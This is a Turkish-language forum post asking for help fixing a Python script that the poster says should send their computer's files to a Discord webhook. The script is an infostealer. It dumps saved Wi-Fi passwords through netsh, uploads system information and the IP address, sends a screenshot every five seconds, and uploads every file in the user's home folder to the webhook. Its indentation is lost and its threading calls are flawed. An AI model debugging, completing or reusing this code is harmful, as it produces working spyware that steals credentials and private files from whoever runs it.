merhabalar konudada bahsettigim gibi elimde bi kod var normalde çalıştırınca benim bilgisayarımdaki dosyaları discorddaki webhooka atması gerekiyor yardımcı olursanız sevinirim
Kod:
import threading
import time, socket , pyautogui ,requests , os, subprocess
if os.name == "nt":
webhook = ""
def internetinfo():
output = subprocess.check_output(['netsh', 'wlan', 'show', 'profiles']).decode('utf-8').split('\n')
for m in output:
if "All User Profile" in m:
value = m.split(":")[1][1:-1]
out2 = subprocess.check_output(['netsh', 'wlan', 'show', 'profile', value, 'key=clear']).decode('utf-8').split('\n')
for s in out2:
if "Key Content" in s:
valuePass = s.split(":")[1][1:-1]
data = value + " || "+ valuePass
requests.post(url=webhook,data={"content":data})
def systeminfo():
#Bilgisayar özellikleri
info = subprocess.check_output("systeminfo",shell=True)
requests.post(webhook,files={"content":str(info)})
#ip adresi
ip_address = socket.gethostbyname(socket.gethostname())
requests.post(webhook, data={"content": str(ip_address)})
def screenshot():
while True:
konum = os.path.expanduser("~")
file_ = "key.png"
#################################
screenshots_ = pyautogui.screenshot()
screenshots_.save(str(konum + "\\" + file_))
#################################
dosya = open(konum + "\\" + file_, "rb")
image = {"content": dosya}
requests.post(webhook, files=image)
dosya.close()
#################################
os.remove(str(konum + "//" + file_))
time.sleep(5)
def send_file():
path = f"C:\\Users\\{os.environ['USERNAME']}"
os.chdir(path)
for root, dirs, files in os.walk(path):
for file in files:
submit = os.path.join(root, file)
try:
requests.post(url=webhook, files={"content": open(str(submit), "rb")})
except PermissionError:
pass
if __name__ == "__main__":
systeminfo()
internetinfo()
send_f = threading.Thread(target=send_file(), args=())
send_f.start()
ss = threading.Thread(target=screenshot(), args=())
ss.start()

